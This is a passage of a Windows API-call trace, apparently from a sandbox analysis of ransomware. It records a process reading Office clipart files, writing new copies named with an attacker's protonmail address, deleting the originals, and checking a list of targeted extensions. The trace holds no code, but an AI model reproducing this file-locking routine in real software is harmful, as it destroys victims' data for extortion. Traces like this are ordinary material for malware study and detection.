	[0171.850] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x91c, lpOverlapped=0x0) returned 1
	[0171.852] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x920, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x920, lpOverlapped=0x0) returned 1
	[0172.220] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.220] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.220] SetEndOfFile (hFile=0x584) returned 1
	[0172.220] CloseHandle (hObject=0x584) returned 1
	[0172.221] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.221] SetEndOfFile (hFile=0x47c) returned 1
	[0172.224] CloseHandle (hObject=0x47c) returned 1
	[0172.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 1
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.225] lstrlenW (lpString=".doc") returned 4
	[0172.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString=".docx") returned 5
	[0172.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.225] lstrlenW (lpString=".pdf") returned 4
	[0172.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.225] lstrlenW (lpString=".xls") returned 4
	[0172.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.226] lstrlenW (lpString=".xlsx") returned 5
	[0172.226] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.226] lstrlenW (lpString=".ppt") returned 4
	[0172.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.226] lstrlenW (lpString=".zip") returned 4
	[0172.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.226] lstrlenW (lpString=".rar") returned 4
	[0172.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString=".bz2") returned 4
	[0172.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString=".7z") returned 3
	[0172.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.226] lstrlenW (lpString=".dbf") returned 4
	[0172.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.226] lstrlenW (lpString=".1cd") returned 4
	[0172.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.226] lstrlenW (lpString=".jpg") returned 4
	[0172.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.227] lstrlenW (lpString=".doc") returned 4
	[0172.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.227] lstrlenW (lpString=".docx") returned 5
	[0172.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.227] lstrlenW (lpString=".pdf") returned 4
	[0172.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.227] lstrlenW (lpString=".xls") returned 4
	[0172.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.227] lstrlenW (lpString=".xlsx") returned 5
	[0172.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.227] lstrlenW (lpString=".ppt") returned 4
	[0172.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.227] lstrlenW (lpString=".zip") returned 4
	[0172.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.227] lstrlenW (lpString=".rar") returned 4
	[0172.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.227] lstrlenW (lpString=".bz2") returned 4
	[0172.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.227] lstrlenW (lpString=".7z") returned 3
	[0172.228] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.228] lstrlenW (lpString=".dbf") returned 4
	[0172.228] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.228] lstrlenW (lpString=".1cd") returned 4
	[0172.228] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF") returned 68
	[0172.228] lstrlenW (lpString=".jpg") returned 4
	[0172.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.228] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.228] lstrlenW (lpString="FD01660_.WMF") returned 12
	[0172.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.229] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=12958) returned 1
	[0172.229] CloseHandle (hObject=0x47c) returned 1
	[0172.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 0x220
	[0172.229] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.230] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.230] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0172.231] GetLastError () returned 0x0
	[0172.231] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x329e, lpOverlapped=0x0) returned 1
	[0172.234] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x32a0, lpOverlapped=0x0) returned 1
	[0172.235] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.235] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.235] SetEndOfFile (hFile=0x584) returned 1
	[0172.236] CloseHandle (hObject=0x584) returned 1
	[0172.236] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.236] SetEndOfFile (hFile=0x47c) returned 1
	[0172.240] CloseHandle (hObject=0x47c) returned 1
	[0172.240] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1
	[0172.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.241] lstrlenW (lpString=".doc") returned 4
	[0172.241] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.241] lstrlenW (lpString=".docx") returned 5
	[0172.241] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.241] lstrlenW (lpString=".pdf") returned 4
	[0172.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.241] lstrlenW (lpString=".xls") returned 4
	[0172.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.241] lstrlenW (lpString=".xlsx") returned 5
	[0172.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.241] lstrlenW (lpString=".ppt") returned 4
	[0172.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString=".zip") returned 4
	[0172.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.242] lstrlenW (lpString=".rar") returned 4
	[0172.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.242] lstrlenW (lpString=".bz2") returned 4
	[0172.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.242] lstrlenW (lpString=".7z") returned 3
	[0172.242] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString=".dbf") returned 4
	[0172.242] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString=".1cd") returned 4
	[0172.242] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString=".jpg") returned 4
	[0172.242] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.242] lstrlenW (lpString=".doc") returned 4
	[0172.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.243] lstrlenW (lpString=".docx") returned 5
	[0172.243] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.243] lstrlenW (lpString=".pdf") returned 4
	[0172.243] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.243] lstrlenW (lpString=".xls") returned 4
	[0172.243] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.243] lstrlenW (lpString=".xlsx") returned 5
	[0172.243] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.243] lstrlenW (lpString=".ppt") returned 4
	[0172.243] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.243] lstrlenW (lpString=".zip") returned 4
	[0172.243] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.243] lstrlenW (lpString=".rar") returned 4
	[0172.243] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.243] lstrlenW (lpString=".bz2") returned 4
	[0172.243] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.243] lstrlenW (lpString=".7z") returned 3
	[0172.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.244] lstrlenW (lpString=".dbf") returned 4
	[0172.244] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.244] lstrlenW (lpString=".1cd") returned 4
	[0172.244] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68
	[0172.244] lstrlenW (lpString=".jpg") returned 4
	[0172.244] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.244] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.244] lstrlenW (lpString="FD02068_.WMF") returned 12
	[0172.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.245] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2488) returned 1
	[0172.245] CloseHandle (hObject=0x47c) returned 1
	[0172.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 0x220
	[0172.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c
	[0172.246] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.246] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x584
	[0172.247] GetLastError () returned 0x0
	[0172.247] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x9b8, lpOverlapped=0x0) returned 1
	[0172.249] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x9c0, lpOverlapped=0x0) returned 1
	[0172.251] ReadFile (in: hFile=0x47c, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.251] WriteFile (in: hFile=0x584, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.251] SetEndOfFile (hFile=0x584) returned 1
	[0172.251] CloseHandle (hObject=0x584) returned 1
	[0172.251] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.251] SetEndOfFile (hFile=0x47c) returned 1
	[0172.254] CloseHandle (hObject=0x47c) returned 1
	[0172.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.255] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02068_.wmf")) returned 1
	[0172.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.256] lstrlenW (lpString=".doc") returned 4
	[0172.256] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.256] lstrlenW (lpString=".docx") returned 5
	[0172.256] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.256] lstrlenW (lpString=".pdf") returned 4
	[0172.256] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.256] lstrlenW (lpString=".xls") returned 4
	[0172.256] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.256] lstrlenW (lpString=".xlsx") returned 5
	[0172.256] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.256] lstrlenW (lpString=".ppt") returned 4
	[0172.256] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.256] lstrlenW (lpString=".zip") returned 4
	[0172.256] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.256] lstrlenW (lpString=".rar") returned 4
	[0172.256] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.256] lstrlenW (lpString=".bz2") returned 4
	[0172.256] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.256] lstrlenW (lpString=".7z") returned 3
	[0172.256] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.256] lstrlenW (lpString=".dbf") returned 4
	[0172.256] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.257] lstrlenW (lpString=".1cd") returned 4
	[0172.257] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.257] lstrlenW (lpString=".jpg") returned 4
	[0172.257] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.257] lstrlenW (lpString=".doc") returned 4
	[0172.257] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString=".docx") returned 5
	[0172.257] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.257] lstrlenW (lpString=".pdf") returned 4
	[0172.257] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString=".xls") returned 4
	[0172.257] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.257] lstrlenW (lpString=".xlsx") returned 5
	[0172.257] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.257] lstrlenW (lpString=".ppt") returned 4
	[0172.257] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.257] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.257] lstrlenW (lpString=".zip") returned 4
	[0172.257] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.258] lstrlenW (lpString=".rar") returned 4
	[0172.258] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.258] lstrlenW (lpString=".bz2") returned 4
	[0172.258] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.258] lstrlenW (lpString=".7z") returned 3
	[0172.258] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.258] lstrlenW (lpString=".dbf") returned 4
	[0172.258] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.258] lstrlenW (lpString=".1cd") returned 4
	[0172.258] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.258] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02068_.WMF") returned 68
	[0172.648] lstrlenW (lpString=".jpg") returned 4
	[0172.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.648] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.649] lstrlenW (lpString="FD02088_.WMF") returned 12
	[0172.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.298] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3696) returned 1
	[0173.298] CloseHandle (hObject=0x588) returned 1
	[0173.298] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 0x220
	[0173.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.300] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.300] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.301] GetLastError () returned 0x0
